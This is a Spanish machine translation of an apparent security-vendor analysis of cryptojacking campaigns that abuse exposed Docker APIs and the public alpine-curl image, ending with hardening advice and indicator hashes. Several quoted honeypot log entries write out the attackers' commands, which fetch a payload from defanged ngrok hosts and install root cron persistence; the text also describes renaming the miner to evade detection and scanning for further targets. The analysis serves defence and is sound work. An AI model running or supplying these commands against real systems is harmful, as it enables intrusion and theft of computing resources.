Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas

Analizamos los datos recopilados utilizando contenedores honeypot, que creamos para rastrear amenazas. Y detectamos actividad significativa de mineros de criptomonedas no deseados o no autorizados implementados como contenedores no autorizados utilizando una imagen publicada por la comunidad en Docker Hub. La imagen se utiliza como parte de un servicio que ofrece mineros de criptomonedas maliciosos.

Además, se instalan programas para trabajar con redes para penetrar en contenedores y aplicaciones vecinos abiertos.

Dejamos nuestros honeypots tal cual, es decir, con la configuración predeterminada, sin ninguna medida de seguridad ni instalación posterior de software adicional. Tenga en cuenta que Docker tiene recomendaciones para la configuración inicial para evitar errores y vulnerabilidades simples. Pero los honeypots utilizados son contenedores, diseñados para detectar ataques dirigidos a la plataforma de contenedorización, no a las aplicaciones dentro de los contenedores.

La actividad maliciosa detectada también es destacable porque no requiere vulnerabilidades y además es independiente de la versión de Docker. Encontrar una imagen de contenedor configurada incorrectamente y, por lo tanto, abierta es todo lo que los atacantes necesitan para infectar muchos servidores abiertos.

La API Docker abierta permite al usuario realizar una amplia gama de equipos, incluida la obtención de una lista de contenedores en ejecución, la obtención de registros de un contenedor específico, el inicio, la detención (incluso forzado) e incluso la creación de un nuevo contenedor a partir de una imagen específica con una configuración específica.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
A la izquierda está el método de entrega de malware. A la derecha está el entorno del atacante, que permite la implementación remota de imágenes.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
Distribución por país de 3762 API Docker abiertas. Basado en la búsqueda de Shodan con fecha del 12.02.2019/XNUMX/XNUMX

Opciones de cadena de ataque y carga útil

La actividad maliciosa se detectó no sólo con la ayuda de honeypots. Los datos de Shodan muestran que la cantidad de API de Docker expuestas (ver segundo gráfico) ha aumentado desde que investigamos un contenedor mal configurado utilizado como puente para implementar el software de minería de criptomonedas Monero. En octubre del año pasado (2018, datos actuales puedes lucir así aprox. traductor) solo había 856 API abiertas.

Un examen de los registros del honeypot mostró que el uso de imágenes de contenedores también estaba asociado con el uso de ngrok, una herramienta para establecer conexiones seguras o reenviar tráfico desde puntos de acceso público a direcciones o recursos específicos (por ejemplo, localhost). Esto permite a los atacantes crear URL dinámicamente cuando entregan la carga útil a un servidor abierto. A continuación se muestran ejemplos de código de los registros que muestran abuso del servicio ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Como puede ver, los archivos cargados se descargan desde URL que cambian constantemente. Estas URL tienen una fecha de vencimiento corta, por lo que las cargas útiles no se pueden descargar después de la fecha de vencimiento.

Hay dos opciones de carga útil. El primero es un minero ELF compilado para Linux (definido como Coinminer.SH.MALXMR.ATNO) que se conecta al grupo de minería. El segundo es un script (TrojanSpy.SH.ZNETMAP.A) diseñado para obtener ciertas herramientas de red utilizadas para escanear rangos de red y luego buscar nuevos objetivos.

El script del cuentagotas establece dos variables, que luego se utilizan para implementar el minero de criptomonedas. La variable HOST contiene la URL donde se encuentran los archivos maliciosos y la variable RIP es el nombre del archivo (de hecho, el hash) del minero que se implementará. La variable HOST cambia cada vez que cambia la variable hash. El script también intenta verificar que no se estén ejecutando otros mineros de criptomonedas en el servidor atacado.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
Ejemplos de variables HOST y RIP, así como un fragmento de código utilizado para verificar que no se estén ejecutando otros mineros

Antes de iniciar el minero, se le cambia el nombre a nginx. Otras versiones de este script cambian el nombre del minero a otros servicios legítimos que pueden estar presentes en entornos Linux. Esto suele ser suficiente para evitar las comprobaciones de la lista de procesos en ejecución.

El script de búsqueda también tiene funciones. Funciona con el mismo servicio de URL para implementar las herramientas necesarias. Entre ellos se encuentra el binario zmap, que se utiliza para escanear redes y obtener una lista de puertos abiertos. El script también carga otro binario que se utiliza para interactuar con los servicios encontrados y recibir pancartas de ellos para determinar información adicional sobre el servicio encontrado (por ejemplo, su versión).

El script también predetermina algunos rangos de red para escanear, pero esto depende de la versión del script. También establece los puertos de destino de los servicios (en este caso, Docker) antes de ejecutar el análisis.

Tan pronto como se encuentran posibles objetivos, los banners se eliminan automáticamente de ellos. El script también filtra objetivos según los servicios, aplicaciones, componentes o plataformas de interés: Redis, Jenkins, Drupal, MODX, Maestro de Kubernetes, cliente Docker 1.16 y Apache CouchDB. Si el servidor escaneado coincide con alguno de ellos, se guarda en un archivo de texto, que los atacantes pueden utilizar posteriormente para su posterior análisis y piratería. Estos archivos de texto se cargan en los servidores de los atacantes a través de enlaces dinámicos. Es decir, se utiliza una URL separada para cada archivo, lo que significa que el acceso posterior es difícil.

El vector de ataque es una imagen de Docker, como se puede ver en los siguientes dos fragmentos de código.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
En la parte superior se muestra el cambio de nombre a un servicio legítimo y en la parte inferior se muestra cómo se usa zmap para escanear redes.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
En la parte superior se encuentran los rangos de red predefinidos, en la parte inferior se encuentran los puertos específicos para buscar servicios, incluido Docker.

Cómo se utilizan la API no privada de Docker y las imágenes públicas de la comunidad para distribuir mineros de criptomonedas
La captura de pantalla muestra que la imagen del rizo alpino se ha descargado más de 10 millones de veces.

Basado en Alpine Linux y curl, una herramienta CLI que ahorra recursos para transferir archivos a través de varios protocolos, puede crear imagen acoplable. Como puedes ver en la imagen anterior, esta imagen ya ha sido descargada más de 10 millones de veces. Una gran cantidad de descargas puede significar el uso de esta imagen como punto de entrada; esta imagen se actualizó hace más de seis meses; los usuarios no descargaron otras imágenes de este repositorio con tanta frecuencia. en ventana acoplable punto de entrada - un conjunto de instrucciones utilizadas para configurar un contenedor para ejecutarlo. Si la configuración del punto de entrada es incorrecta (por ejemplo, el contenedor se deja abierto desde Internet), la imagen se puede utilizar como vector de ataque. Los atacantes pueden usarlo para entregar una carga útil si encuentran un contenedor abierto o mal configurado que no es compatible.

Es importante tener en cuenta que esta imagen (alpine-curl) en sí no es maliciosa, pero como puede ver arriba, puede usarse para realizar funciones maliciosas. También se pueden utilizar imágenes de Docker similares para realizar actividades maliciosas. Nos comunicamos con Docker y trabajamos con ellos en este tema.

Recomendaciones

Configuración incorrecta restos problema constante para muchas empresas, especialmente aquellas que implementan DevOps, centrado en un rápido desarrollo y entrega. Todo se ve agravado por la necesidad de cumplir las normas de auditoría y seguimiento, la necesidad de controlar la confidencialidad de los datos, así como los enormes daños que supone su incumplimiento. La incorporación de la automatización de la seguridad en el ciclo de vida del desarrollo no solo le ayuda a encontrar agujeros de seguridad que de otro modo podrían pasar desapercibidos, sino que también le ayuda a reducir la carga de trabajo innecesaria, como la ejecución de compilaciones de software adicionales para cada vulnerabilidad o configuración incorrecta descubierta después de implementar una aplicación.

El incidente comentado en este artículo pone de relieve la necesidad de tener en cuenta la seguridad desde el principio, incluyendo las siguientes recomendaciones:

  • Para administradores y desarrolladores de sistemas: verifique siempre la configuración de su API para asegurarse de que todo esté configurado para aceptar solo solicitudes de un servidor o red interna específica.
  • Siga el principio de derechos mínimos: asegúrese de que las imágenes de los contenedores estén firmadas y verificadas, limite el acceso a componentes críticos (servicio de lanzamiento de contenedores) y agregue cifrado a las conexiones de red.
  • Seguir recomendaciones y habilitar mecanismos de seguridad, p.e. desde Docker y incorporado Caracteristicas de seguridad.
  • Utilice el escaneo automatizado de tiempos de ejecución e imágenes para obtener información adicional sobre los procesos que se ejecutan en el contenedor (por ejemplo, para detectar suplantación de identidad o buscar vulnerabilidades). El control de aplicaciones y la supervisión de la integridad ayudan a rastrear cambios anormales en servidores, archivos y áreas del sistema.

Trendmicro ayuda a los equipos de DevOps a crear de forma segura, implementar rápidamente y lanzar en cualquier lugar. Tendencia Micro Seguridad en la nube híbrida Proporciona seguridad potente, optimizada y automatizada en todo el proceso de DevOps de una organización y proporciona múltiples defensas contra amenazas. XGen para proteger cargas de trabajo físicas, virtuales y en la nube en tiempo de ejecución. También agrega seguridad al contenedor con Seguridad profunda и Comprobación inteligente de seguridad profunda, que escanean imágenes de contenedores Docker en busca de malware y vulnerabilidades en cualquier punto del proceso de desarrollo para prevenir amenazas antes de que se implementen.

Señales de compromiso

Hashes relacionados:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

En Videocurso de Docker Los oradores practicantes muestran qué ajustes deben realizarse primero para minimizar la probabilidad o evitar por completo que ocurra la situación descrita anteriormente. Y del 19 al 21 de agosto en un intensivo online Herramientas y trucos de DevOps Puede discutir estos y otros problemas de seguridad similares con colegas y profesores en ejercicio en una mesa redonda, donde todos pueden hablar y escuchar los dolores y éxitos de colegas experimentados.

Fuente: habr.com

Añadir un comentario